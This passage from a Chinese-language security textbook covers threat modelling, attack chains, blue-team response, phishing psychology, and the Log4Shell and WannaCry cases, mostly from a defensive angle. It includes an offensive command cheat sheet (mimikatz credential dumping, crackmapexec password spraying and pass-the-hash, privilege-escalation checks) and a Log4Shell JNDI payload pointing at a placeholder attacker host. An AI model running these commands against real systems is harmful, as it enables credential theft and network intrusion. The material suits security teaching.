| 默认口令/调试开启 | 默认配置 | 强制改密/默认关调试 |
| 不过滤上传文件 | Webshell | 白名单+重命名+禁执行 |
一句话收束:安全编码 = 在源头消灭信任越界——参数化/白名单/输出编码/最小权限/默认安全,五原则就是"不制造漏洞"的写法。
本质一句话:威胁建模 = "在写代码/建系统之前,先像攻击者一样想一遍"——把系统拆成"资产到入口到信任边界到威胁到对策",在问题发生前把漏洞设计掉。防御的终极形态不是"补漏洞",是"设计上就没有漏洞"。
识别场景(STRIDE 六类威胁):
| 缩写 | 威胁 | 例子 | 对策 |
|---|---|---|---|
| S | 仿冒 Spoofing | 伪造身份/发件人 | 认证+MFA |
| T | 篡改 Tampering | 改数据/改包 | 签名+校验 |
| R | 否认 Repudiation | 做了不承认 | 日志+审计 |
| I | 泄露 Information | 数据被读 | 加密+权限 |
| D | 拒绝服务 DoS | 服务被打瘫 | 限流+冗余 |
| E | 提权 Elevation | 权限扩大 | 最小权限 |
一句话收束:威胁建模 = 先想攻击再写代码——在问题发生前把漏洞设计掉,是最便宜的防御。
本质一句话:术语不是用来背的,是用来"快速归位"的——看到任何一个黑话,先问它属于"哪个模型、哪条链、哪个阶段",答案自动浮现。这一节继续高频黑话的"模型到场景到动作"速查。
| 黑话 | 模型归位 | 一句话场景识别 | 第一动作 |
|---|---|---|---|
| 白帽 | 攻防光谱 | 合法授权挖洞 | SRC/众测 |
| 红队 | 攻防光谱 | 模拟真实攻击 | 演练+报告 |
| 蓝队 | 攻防光谱 | 防守响应 | 监控+应急 |
| 紫队 | 攻防光谱 | 红蓝联动 | 改进闭环 |
| ATTandCK | 攻防地图 | 攻击战术乘技术矩阵 | 检测映射 |
| 杀伤链 | 攻防地图 | 攻击七阶段 | 每阶段拦截 |
| CVSS | 攻防地图 | 漏洞评分 | 定优先级 |
| EPSS | 攻防地图 | 被利用概率评分 | 补丁优先级 |
| OSINT | 信息差 | 公开信息收集 | 反侦察缩小暴露 |
| 指纹 | 信息差 | 技术栈识别 | 隐藏指纹 |
| 网络测绘 | 信息差 | Shodan/FOFA查暴露资产 | 资产收敛 |
| 蜜罐 | 攻防同机 | 诱捕攻击者 | 情报+溯源 |
| 沙箱 | 恶意代码 | 隔离跑样本 | 分析+取证 |
| 威胁建模 | 防御思维 | 先想攻击再防御 | STRIDE/攻击树 |
| 零信任 | 信任半径 | 默认不信任 | 最小权限+持续验证 |
| 纵深防御 | 防御思维 | 多层防线 | 洋葱模型 |
| 补丁管理 | 补丁时间差 | 漏洞修复生命周期 | 资产清单+72h SLA |
| 暴露面管理 | 信息差 | 持续收敛攻击面 | 资产+扫描+收敛 |
| 应急响应 | 蓝队流程 | 事件处理六步 | 止损到取证到恢复 |
| 事件响应 | 蓝队流程 | 同应急响应 | 流程+工具 |
| 取证 | 蓝队流程 | 还原攻击现场 | 内存/磁盘/日志 |
| 溯源 | 蓝队流程 | 追攻击者来源 | 日志+情报+关联 |
| DLP | 数据泄露 | 防数据外发 | 出网监控+加密 |
| SIEM | 日志监控 | 集中日志+告警 | 规则+关联 |
| EDR | 主机监控 | 端点检测响应 | 行为+响应 |
| WAF | Web防护 | Web应用防火墙 | 规则+拦截 |
| IDS/IPS | 网络防护 | 入侵检测/防御 | 规则+流量 |
| MFA | 认证三问 | 多因素认证 | 二次验证 |
| SSO | 认证三问 | 单点登录 | 集中身份 |
| OAuth/JWT | 认证三问 | 令牌认证 | 正确实现+过期 |
| IDOR | 信任身份 | 换ID越权 | 对象级鉴权 |
| 业务逻辑漏洞 | 信任身份 | 流程/逻辑缺陷 | 逻辑审计+测试 |
| 竞争条件 | 信任身份 | 并发操作越界 | 锁+幂等 |
| 协议漏洞 | 信任边界 | 协议实现缺陷 | 升级+正确实现 |
| 中间人 | 信任边界 | 流量被劫持 | TLS+证书固定 |
| 重放攻击 | 信任边界 | 请求被重放 | 随机数+时间戳 |
| 侧信道 | 资源差 | 功耗/时间/电磁泄露 | 恒定时间+屏蔽 |
| 故障注入 | 资源差 | 物理干扰芯片 | 屏蔽+检测 |
| BadUSB | 物理入口 | USB伪装键盘 | USB管控+锁屏 |
| 摆渡攻击 | 物理入口 | U盘跨网传输 | USB管控+隔离 |
| Wi-Fi钓鱼 | 物理入口 | 假Wi-Fi抓流量 | 企业VPN+证书 |
| RFID克隆 | 物理入口 | 克隆门禁卡 | 加密卡+监控 |
| DDoS | 资源差 | 流量淹没服务 | CDN+限速+清洗 |
| CC攻击 | 资源差 | 高频请求打Web | WAF+限速 |
| 僵尸网络 | 资源差 | 批量被控机器 | 检测+情报 |
| 肉鸡 | 资源差 | 被控机器 | EDR+监控 |
| 远控 | 隧道外衣 | 远程控制被控机 | 出网+行为监控 |
| 键盘记录 | 恶意代码 | 记录输入 | EDR+隔离 |
| 截屏 | 恶意代码 | 偷屏幕内容 | EDR+权限 |
| 剪贴板劫持 | 恶意代码 | 篡改复制内容 | EDR+校验 |
| 无文件攻击 | 特征军备 | 不落地执行 | 行为监控+内存检测 |
| 内存马 | 特征军备 | Web容器内存挂马 | 容器完整性+重启 |
| 宏病毒 | 恶意代码 | 文档宏执行 | 禁宏+白名单 |
| 勒索软件 | 恶意代码 | 加密索要赎金 | 离线备份+隔离 |
| 威胁猎捕 | 攻防同机 | 主动找攻击痕迹 | 假设+检测+验证 |
| 漏洞赏金 | 攻防光谱 | 合法挖洞赚钱 | SRC/HackerOne |
| SBOM | 供应链 | 软件物料清单 | 依赖审计 |
| 攻击面 | 信息差 | 所有可被碰到的入口 | 收敛+管理 |
| 风险 | 防御思维 | 可能性乘损失 | 优先级+控制 |
| CIA | 防御思维 | 机密/完整/可用 | 三线防护 |
| 最小权限 | 信任半径 | 只给够用的权限 | 权限审计 |
| 默认安全 | 信任边界 | 默认配置要安全 | 基线检查 |
| 安全基线 | 防御思维 | 最小安全标准 | 加固+检查 |
一句话收束:黑话速查 = 模型到场景到动作三列归位——遇到任何词,先归位、找七寸、出动作,你就已经是个"看穿本质"的人。
本质一句话:真实攻击很少是"一个漏洞打天下"——它们是多步组合链。把六条经典链从头到尾拆开,你就知道"攻击者为什么这么走、每一步为什么必须、断在哪一步就废"。
步骤: [1] 子域枚举 -> 发现 dev.目标.com (测试环境) [2] 指纹 -> Tomcat 8.0.53 (旧版) [3] CVE-2017-12615 (PUT写文件) -> 上传 JSP webshell [4] 访问 webshell -> 命令执行 (www-data) [5] 提权: sudo -l 发现 NOPASSWD find -> 借sudo执行 -> root 断点分析: 任何一步被拦(测试环境下线/升级Tomcat/最小权限) -> 链断 修复清单: 关测试环境 / 升级组件 / 最小权限 / Web目录禁执行
步骤: [1] OSINT: 找员工邮箱 + 公司SSO登录页 [2] 构造: 仿"IT部门密码过期"邮件 + 假SSO页面(记录输入) [3] 投递: 发给目标员工 [4] 上钩: 员工在假SSO输密码 -> 拿到真实账号密码 [5] 登录: 用真实凭据登录邮箱/内网 [6] 横向: 从邮箱找高价值资料/发内部钓鱼/找域管会话 断点分析: MFA(密码不够) / 员工不点(演练) / 邮件网关拦 -> 链断 修复清单: 全员MFA / 钓鱼演练 / 邮件网关 / SSO异常登录告警
步骤: [1] 拿到一台低权机器(Webshell/弱口令) [2] 信息收集: 网段/域/共享/开放端口 [3] 凭据收集: Mimikatz 抓到本地管理员 NTLM 哈希 [4] 横向: crackmapexec 用哈希打网段 -> 多台本地管理员口令相同 -> 批量沦陷 [5] 找到域管会话 -> 拿域管凭据 [6] DCSync 拖域控哈希 -> 金票 -> 全网控制 断点分析: LAPS(本地口令不同) / 凭据保护 / 分段 / 域管会话监控 -> 链断 修复清单: LAPS / 凭据保护 / 网络分段 / 域管会话监控
步骤: [1] 选择热门开源包 [2] 账号失陷/社工维护者/注册相似包名(typosquat) [3] 在包里植入后门(安装脚本回连C2) [4] 开发者装错/更新拉取 -> 后门进入构建 [5] 构建产物带后门 -> 分发用户/客户 -> 批量沦陷 断点分析: 锁版本 / 依赖审计(SBOM) / 包校验 -> 链断 修复清单: SBOM / 锁版本 / 依赖审计 / 包签名校验
步骤: [1] GitHub 搜索目标相关代码 -> 发现泄露的 AWS AK/SK [2] aws sts get-caller-identity 验证 -> 有权限 [3] aws s3 ls -> 存储桶数据; ec2 describe -> 服务器 [4] 读取 S3 敏感数据 / 通过 EC2 进入云内网 [5] 横向: 其他云服务/数据库 断点分析: 密钥轮换 / 最小角色 / 代码扫描 -> 链断 修复清单: 密钥不入代码 / 定期轮换 / 最小角色 / trufflehog 扫描
步骤: [1] 入口: 弱口令/钓鱼/RDP暴露/漏洞 [2] 进入后: 静默收集凭据+横向(拖时间找备份/域控) [3] 关闭备份/加密备份 [4] 全面加密数据 + 留勒索信 [5] 索要赎金(加密货币) 断点分析: 离线备份 / 分段+最小权限 / 备份监控 -> 链断 修复清单: 3-2-1备份 / 分段 / 备份完整性监控 / 入口加固
一句话收束:六条真实攻击链 = 逐步走法 + 断点分析——防御 = 让每一条链都有至少一个断点。
本质一句话:蓝队 = "让攻击者每一步都留下痕迹、每个痕迹都被看见、每个告警都有人响应"——蓝队的本质不是"挡住所有攻击"(做不到),而是"让攻击代价最大化、停留时间最短化"。
# 不知道自己有什么 = 不知道自己被打了什么 # 资产清单要素: 主机/服务/账号/数据/依赖/出入口 # 工具: # - 网络资产: nmap/资产测绘平台/CMDB # - 依赖资产: SBOM (见26.16) # - 账号资产: AD用户/特权账号/云角色 # 关键: 资产清点不是"一次做完", 是"持续更新"
# 主机加固清单(最小): # - 关无用端口/服务 # - SSH 禁密码登录(用密钥)+禁root直登 # - 系统补丁+自动更新策略 # - 最小权限账号(非root运行服务) # - 防火墙出网白名单 # Web应用加固: # - 安全头: CSP/X-Frame-Options/Strict-Transport-Security # - 参数化查询+输出编码 # - 最小权限DB账号 # 身份加固: # - 全员MFA # - 特权账号管理(PAM)+定期轮换 # - 离职账号回收 # 基线工具: 加固脚本(lynis/OpenSCAP)+配置管理(Ansible)
# 最小监控集(先建这五条): # 1) 登录日志: 失败次数/异地登录/新账号 # 2) Web日志: 注入特征/目录爆破/异常UA # 3) 出网流量: 大流量/陌生IP/DNS隧道特征 # 4) 主机行为: 新计划任务/新服务/新启动项/进程注入 # 5) 文件监控: 新Webshell/篡改/新增文件 # 告警规则示例: # - 60秒内5次ssh失败 -> 告警 # - 登录成功后10秒内执行下载命令 -> 告警 # - 出网到已知恶意IP -> 告警 # 工具: Wazuh(开源SIEM)/ELK/Grafana+告警 # 关键: 告警要"可行动"——告警信息里要有IP/时间/动作
# 六步法: # 1) 发现: 告警/通报/用户报告 -> 先确认是不是误报 # 2) 止损: 隔离主机/下线接口/改口令/断网段 第一优先! # 3) 取证: 内存转储/磁盘快照/日志保存(别再操作污染现场) # 4) 清除: 删后门/回滚配置/补漏洞/重置所有受影响凭据 # 5) 恢复: 从干净备份恢复/验证业务正常/加固后再上线 # 6) 复盘: 攻击路径/检测盲区/流程缺陷/改进项+责任人+期限 # 工具: Volatility(内存分析)/Autopsy(磁盘取证)/SIEM查询
一句话收束:蓝队 = 资产清点到基线加固到监控告警到应急响应 四件套循环——目标是"让攻击者停留时间最短",不是"永远不被攻击"。
本质一句话:学了这么多节,最终要的是"把本质变成本能"——看到任何安全事件,第一反应不是背术语,而是自动套模型、自动找七寸、自动出对策。这一节用"事件到模型到动作"的密集训练,帮你完成从"会背"到"会用"的跃迁。
| 事件 | 先套模型 | 七寸 | 第一动作 |
|---|---|---|---|
| 员工点钓鱼链接 | 信任差(人) | 人的判断 | 演练+MFA+流程二次确认 |
| 内网主机被横向 | 信任半径 | 口令复用/信任链 | 分段+LAPS+凭据保护 |
| S3 桶公开可读 | 配置信任 | 错误配置 | 基线检查+默认私有 |
| 收到 0day 预警 | 补丁时间差 | 受影响组件 | 资产比对+缓解措施 |
| 数据库被拖 | 信任边界(SQLi) | 参数拼接 | 参数化+下线暴露接口 |
| 容器逃逸 | 运行时边界 | 特权/挂载 | 最小权限+只读+隔离 |
| 云凭证泄露 | 凭证即权限 | AK/SK | 轮换+最小角色+监控API调用 |
| 勒索爆发 | 入口+数据 | 入口弱+备份缺失 | 隔离+离线备份恢复+补入口 |
| Webshell 上传 | 信任边界(上传) | 上传校验 | 白名单+目录禁执行+文件监控 |
| DNS 隧道外传 | 隧道外衣 | 出网白名单 | 出网审计+DNS异常检测 |
# 问1(攻击视角): 如果我是攻击者, 我最先打哪? 为什么? # -> 暴露面最大/最弱/最值钱的入口 # 问2(防御视角): 攻击者做了哪些动作我"看不见"? # -> 监控盲区清单(补监控) # 问3(验证视角): 我假设的防线, 真的挡得住吗? # -> 定期红蓝演练验证(见26.25)
一句话收束:大道至简——攻击 = 信息差乘信任差乘资源差;防御 = 消除信息差 + 收紧信任差 + 压缩资源差。十个模型是你的"一眼看穿",三问与检查表是你的"日日执行"。
本质一句话:攻击者也是"理性经济人"——他选择"性价比最高"的攻击路径。防御的本质 = 让你的系统"攻击成本大于攻击收益",让攻击者自动放弃。弱口令为什么被滥用?因为成本几乎为零。0day 为什么少用?因为成本极高。理解成本模型,你就理解攻防的"供需关系"。
识别场景(成本-收益对照表):
| 攻击路径 | 攻击成本 | 收益 | 防御(提高成本) |
|---|---|---|---|
| 弱口令爆破 | 极低 | 中 | MFA+限速+锁定 |
| 已知漏洞利用 | 低 | 高 | 补丁+版本管理 |
| 钓鱼 | 低到中 | 中到高 | 网关+演练+MFA |
| 0day | 极高 | 极高 | 纵深+行为监控 |
| 供应链 | 高 | 极高 | SBOM+审计 |
| 物理攻击 | 中到高 | 高 | 物理安全+USB管控 |
一句话收束:攻击者也是理性经济人——防御 = 让"攻击成本大于攻击收益"自动成立,攻击者就会换目标。
本质一句话:把全书所有知识落成"按周执行"的行动清单——不追求完美,追求"每周都往前走一步"。安全不是一次"做完"的项目,是"持续改进"的循环。
subfinder -d 目标.com -all、nmap -sV -p- 目标。npm audit/pip-audit。一句话收束:30 天清单 = 资产信息差、信任差、资源差、看得见与闭环 四周循环——安全是"日拱一卒",不是"毕其功于一役"。
本质一句话:把全书最高频命令按"最终场景"压缩成一张速查——遇到任何情况直接抄,抄完就能动手。
# 域名资产 subfinder -d 目标.com -all | httpx -title -status-code -tech-detect # 端口服务 nmap -sV -sC -p- 目标IP # 目录 ffuf -w dict.txt -u http://目标/FUZZ # 指纹 whatweb http://目标 # 漏洞模板 nuclei -l targets.txt -t cves/ -severity high,critical # 汇总: 全部落文件, 打点清单排序
# Linux id; sudo -l; find / -perm -4000 2>/dev/null; uname -a # Windows whoami /priv; systeminfo; net user; sc qc 服务名 # 凭据翻找 grep -ri "password" /home /etc 2>/dev/null # 选路: 配置错误 > 凭据 > 服务漏洞 > 内核
# 存活+版本 crackmapexec smb 网段 # 凭据 mimikatz "sekurlsa::logonpasswords" # 喷洒(不锁账号) crackmapexec smb 网段 -u users -p "Passw0rd!" --continue-on-success # PTH crackmapexec smb 目标 -u admin -H HASH # 执行 psexec.py / wmiexec.py / atexec.py
# 登录 last; lastb # 连接 ss -antp | grep ESTAB # 进程 ps aux | sort -k3 -r | head # 计划任务/服务/启动项 crontab -l; systemctl list-units # Web日志 grep -E "union|select|shell|cmd=" access.log | tail # 新文件 find / -mtime -3 -type f | head
# 内存(只读+哈希) # 磁盘快照 dd if=/dev/sda of=disk.img bs=4M # 日志副本 cp -a /var/log /evidence/ # 证据哈希 sha256sum 证据 > hashes.txt # 时间线 stat 文件; grep 日志
一句话收束:最终速查 = 打点到提权到横向到应急到取证 五场景——抄完就能动手,动手就要留证。
本质一句话:自测不是考试,是"发现盲区"——每道题都对应一个本质模型,答错就回去复习那一节。
| 题目 | 你的答案 | 解析(模型) |
|---|---|---|
| 1. 为什么弱口令是最常见入口? | ____ | 金字塔塔底: 成本极低收益高 |
| 2. SQL注入的本质是什么? | ____ | 信任边界: 数据被当命令 |
| 3. 内网横向靠什么走? | ____ | 信任半径: 口令复用/会话 |
| 4. 0day为什么贵? | ____ | 补丁时间差: 无人知道无补丁 |
| 5. 钓鱼为什么难防? | ____ | 信任差(人): 人是最弱边界 |
| 6. 供应链为什么可怕? | ____ | 信任链条: 一次投毒打一片 |
| 7. 免杀的本质? | ____ | 特征军备: 改特征骗检测 |
| 8. 日志监控为什么重要? | ____ | 攻防同机: 看得见才能防 |
| 9. 纵深防御的核心? | ____ | 多层防线: 每层假设上层已破 |
| 10. 云攻击的核心? | ____ | 凭证即权限: AK/SK=管理权 |
一句话收束:自测 = 发现盲区——答错的每一题,都是你下一次攻击/防守中可能输的那一环。
本质一句话:把第 26 章全部内容压缩成一句话——攻击 = 利用"信息差乘信任差乘资源差",把不可信输入送过信任边界,把数据变成执行、身份变成权限、权限变成资产;守住任意一环,攻击就断。
一句话收束(全章完):大道至简——守住信任、信息、资源三个词,你就守住了整个攻防世界。祝你从"背黑话"到"看穿攻击",再到"让攻击者知难而退"。
本质一句话:新员工是最脆弱的信任边界——他不认识同事、不敢质疑领导、急着表现。攻击者专挑这种"信息差最大、信任差最大"的时刻下手。这一节用完整剧本演示攻击者怎么打、防御者怎么防。
09:00 新员工小李入职, 领了电脑和工牌
10:30 攻击者(已知小李邮箱, 已仿好IT域名) 发邮件:
"【IT服务台】您的企业邮箱需要重新验证, 点击链接登录, 否则今日18:00停用"
链接: https://sso-公司名.com.evil.com/ (仿公司SSO)
11:00 小李点链接 → 输入公司账号密码 → 攻击者拿到真实凭据
11:05 攻击者用小李账号登录 VPN + 邮箱
14:00 攻击者从邮箱翻到"财务部"邮件组 → 发内部钓鱼(冒充财务总监索要表格)
14:30 财务新人点了附件(宏) → 拿到第二台机器
15:00 攻击者在财务机器上 Mimikatz → 抓到域管会话? 没有, 但抓到本地管理员
15:30 crackmapexec 横扫黑 → 多台机器沦陷
次日 09:00 安全团队发现异常登录告警 → 启动应急响应
10:30 邮件网关: 若配置了"相似域名检测" → 拦截 sso-公司名.com.evil.com 10:30 员工演练: 若小李参加过钓鱼演练 → 悬停看域名 → 不点 10:35 MFA: 即使密码被偷, 攻击者没有第二因素 → 登录失败 11:05 异常登录告警: 新员工账号异地/新设备登录 → 告警 14:00 财务流程: 转账/表格需二次确认 → 即使被骗也拦得住 15:30 分段网络: 财务机器不能访问其他部门 → 横向断 次日 监控: 登录/新文件/横向行为告警 → 早发现 → 结论: 单环都可能被绕, 但环环相扣 = 攻击者在每一步都要赌一次
一句话收束:新员工剧本 = 攻击者挑"信息差最大"时刻——防御 = 让每一环都拦一下, 让攻击者每一步都要赌一次。
本质一句话:把所有攻击手法按"入口→手法→目标"画成拓扑图——你一眼就能看出"每个手法从哪进来、想拿什么、该在哪拦"。
识别场景(拓扑对应表):
| 入口 | 手法 | 目标 | 拦截点 |
|---|---|---|---|
| Web | 注入/上传/越权 | 数据/权限 | WAF+参数化+鉴权 |
| 用户 | 钓鱼/社工 | 凭据/内网 | 网关+演练+MFA |
| 网络 | 弱口令/漏洞 | 服务器/域控 | 补丁+最小权限+分段 |
| 供应链 | 依赖投毒 | 下游用户 | SBOM+锁版本 |
一句话收束:攻击手法拓扑 = 入口到手法到目标的完整地图——知道每条线在哪拦, 你就有了全局防御的作战图。
本质一句话:人脑不是为"防钓鱼"设计的——它追求快、省力、合群、不冲突。攻击者利用的是"认知捷径"(启发式),不是"智商缺陷"。理解了认知机制,你就理解了为什么聪明人也会上当,以及怎么训练"慢下来想一步"。
识别场景(六大心理开关 vs 防御动作):
| 开关 | 攻击话术 | 识别信号 | 防御动作 |
|---|---|---|---|
| 权威 | "我是领导/IT/公安" | 要求密码/转账 | 独立渠道回拨确认 |
| 紧迫 | "今晚过期/马上被锁" | 时间压力 | 凡紧急必二次确认 |
| 好奇 | "点开看照片/工资单" | 诱导点击 | 不点陌生链接, 悬停看域名 |
| 互惠 | "先送礼品/问卷奖励" | 小利换信息 | 拒绝陌生"好处" |
| 从众 | "大家都已升级了" | 群体压力 | 走正式流程 |
| 恐惧 | "你的账户已被盗" | 恐慌促操作 | 挂断, 官方渠道核实 |
一句话收束:人脑走"快系统", 攻击者利用"认知捷径"——训练 = 让"快系统"默认动作变成"慢系统"确认动作。
本质一句话:新手不是"不会工具",是"跳步、贪快、不留证、不确认"——这十个错每个都能让一次测试白干甚至违法。
| 错误 | 后果 | 正确做法 |
|---|---|---|
| 1. 没授权就开打 | 违法 | 先拿书面授权再动手 |
| 2. 跳过侦察直接爆破 | 瞎打浪费时间 | 侦察占三成时间 |
| 3. 不确认就信扫描器 | 误报当漏洞 | 每个漏洞人工复核 |
| 4. 不留证据 | 报告没法写 | 每步命令输出存档 |
| 5. 贪快越权 | 测试变犯罪 | 范围写死, 不碰授权外 |
| 6. 重放不看响应 | 注入没确认 | 恒真恒假对比 |
| 7. 提权不先快照 | 崩机毁现场 | VM快照=后悔药 |
| 8. 只测登录页 | 漏了业务接口 | 接口/上传/越权全覆盖 |
| 9. 报告堆术语 | 没人看懂 | 摘要让领导看懂, 细节给工程师 |
| 10. 不复盘 | 下次还错 | 每次测试后写复盘清单 |
一句话收束:新手十错 = 跳步、贪快、不留证、不确认——把十个错倒过来, 就是十条专业习惯。
本质一句话:全书的终点不是"懂更多黑话",而是"把本质变成行动"——看完这一章,你应该能回答三个问题:攻击的本质是什么?我该怎么防?我下一步做什么?
一句话收束(全书):大道至简——守住信任、信息、资源三个词, 你就守住了整个攻防世界。祝你从"背黑话"到"看穿攻击", 再到"让攻击者知难而退"。
本质一句话:Log4Shell(CVE-2021-44228)不是"日志库的锅",是"信任边界的教科书案例"——日志内容被当成了可执行的 JNDI 查询。这一节把它拆到底:漏洞本质、利用链、为什么传播这么快、怎么防。
识别场景(Log4Shell 三问):
| 问题 | 答案 | 防御动作 |
|---|---|---|
| 它信任了什么? | 日志内容的表达式展开 | 升级/禁用JNDI |
| 为什么传播快? | Log4j 无处不在 | 资产盘点+SBOM |
| 公开后怎么办? | 补丁时间差开打 | 72h补丁+WAF+缓解 |
${jndi:ldap://攻击机:1389/Exploit} 作为输入。一句话收束:Log4Shell = 信任边界 + 供应链 + 补丁时间差 三重本质的教科书——问一句"日志内容凭什么被展开", 你就站在了漏洞源头。
本质一句话:WannaCry 不是"勒索软件的成功",是"补丁管理失败 + 网络暴露失败"的双重失败——它用 NSA 泄露的武器(永恒之蓝)横扫没打补丁、暴露在公网的 SMB。本质 = 塔底漏洞(未补丁)+ 暴露面过大。
识别场景(WannaCry 三问):
| 问题 | 答案 | 防御动作 |
|---|---|---|
| 漏洞在哪? | SMB(445) 协议 | 打补丁+关公网445 |
| 为什么横扫? | 蠕虫自我复制+未打补丁 | 补丁管理+资产清单 |
| 为什么损失大? | 没备份/备份被加密 | 3-2-1离线备份 |
一句话收束:WannaCry = 补丁时间差 + 塔底 + 暴露面的三叠失败——关公网445 + 72h补丁 + 离线备份, 三件套让勒索无路可走。